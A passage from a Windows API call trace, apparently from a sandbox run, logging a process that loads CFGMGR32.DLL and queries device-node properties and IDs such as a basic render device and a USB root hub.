dwHighDateTime=0x1d9eb0c)) [0208.696] SetEvent (hEvent=0x248) returned 1 [0208.832] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.833] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.834] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.835] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.836] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.836] malloc (_Size=0x18) returned 0x20abc281b40 [0208.836] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x6, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0208.836] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x383c8f32, dwHighDateTime=0x1d9eb0c)) [0208.836] SetEvent (hEvent=0x248) returned 1 [0208.839] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.839] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.842] malloc (_Size=0x18) returned 0x20abc281a00 [0208.842] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0208.843] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x383ef298, dwHighDateTime=0x1d9eb0c)) [0208.843] SetEvent (hEvent=0x248) returned 1 [0208.846] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.846] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.849] malloc (_Size=0x18) returned 0x20abc281c80 [0208.850] CM_Get_Device_IDA (in: dnDevInst=0x8, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\BASICRENDER\\0000") returned 0x0 [0208.850] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x383ef298, dwHighDateTime=0x1d9eb0c)) [0208.850] SetEvent (hEvent=0x248) returned 1 [0208.855] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.855] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.860] malloc (_Size=0x18) returned 0x20abc2819a0 [0208.860] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0208.860] malloc (_Size=0x24) returned 0x20abc2aa120 [0208.860] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa120, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa120, pulLength=0x2dc22fd3f8) returned 0x0 [0208.861] free (_Block=0x20abc2aa120) [0208.861] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x38415cdd, dwHighDateTime=0x1d9eb0c)) [0208.861] SetEvent (hEvent=0x248) returned 1 [0208.865] malloc (_Size=0x18) returned 0x20abc282020 [0208.865] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0208.865] free (_Block=0x20abc282020) [0208.865] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0208.865] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0208.865] SafeArrayGetLBound (in: psa=0x20abba7ff50, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0208.865] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0208.865] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba799d0 [0208.865] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0208.865] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0208.865] SafeArrayGetElemsize (psa=0x20abba7ff50) returned 0x8 [0208.865] SafeArrayGetElement (in: psa=0x20abba7ff50, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0208.866] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4023d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0208.867] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba799d0) returned 1 [0208.867] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0208.868] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.868] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.871] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.871] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.871] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.871] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.871] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.872] malloc (_Size=0x18) returned 0x20abc281ec0 [0208.872] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0208.872] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3843b67b, dwHighDateTime=0x1d9eb0c)) [0208.872] SetEvent (hEvent=0x248) returned 1 [0209.044] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.044] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.047] malloc (_Size=0x18) returned 0x20abc281ba0 [0209.047] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.053] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x385e1833, dwHighDateTime=0x1d9eb0c)) [0209.053] SetEvent (hEvent=0x248) returned 1 [0209.055] SetEvent (hEvent=0x248) returned 1 [0209.055] free (_Block=0x20abc27cb20) [0209.056] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.056] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38605586, dwHighDateTime=0x1d9eb0c)) [0209.056] SetEvent (hEvent=0x248) returned 1 [0209.057] SetEvent (hEvent=0x248) returned 1 [0209.058] free (_Block=0x20abc27cb20) [0209.058] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.059] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38605586, dwHighDateTime=0x1d9eb0c)) [0209.059] SetEvent (hEvent=0x248) returned 1 [0209.060] SetEvent (hEvent=0x248) returned 1 [0209.061] free (_Block=0x20abc27cb20) [0209.061] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.061] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38605586, dwHighDateTime=0x1d9eb0c)) [0209.061] SetEvent (hEvent=0x248) returned 1 [0209.064] SetEvent (hEvent=0x248) returned 1 [0209.064] free (_Block=0x20abc27cb20) [0209.065] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.067] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38605586, dwHighDateTime=0x1d9eb0c)) [0209.067] SetEvent (hEvent=0x248) returned 1 [0209.068] SetEvent (hEvent=0x248) returned 1 [0209.068] free (_Block=0x20abc27cb20) [0209.069] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x8, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0209.069] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x38605586, dwHighDateTime=0x1d9eb0c)) [0209.069] SetEvent (hEvent=0x248) returned 1 [0209.071] SetEvent (hEvent=0x248) returned 1 [0209.072] free (_Block=0x20abc27cb20) [0209.072] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x8, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0209.073] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3862b58e, dwHighDateTime=0x1d9eb0c)) [0209.073] SetEvent (hEvent=0x248) returned 1 [0209.074] SetEvent (hEvent=0x248) returned 1 [0209.075] free (_Block=0x20abc27cb20) [0209.075] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x8, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0209.075] malloc (_Size=0x48) returned 0x20abc27cb20 [0209.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3862b58e, dwHighDateTime=0x1d9eb0c)) [0209.075] SetEvent (hEvent=0x248) returned 1 [0209.078] SetEvent (hEvent=0x248) returned 1 [0209.078] free (_Block=0x20abc27cb20) [0209.079] CM_Get_Device_IDA (in: dnDevInst=0x2d, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB20\\4&9C1D5B7&0") returned 0x0 [0209.079] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 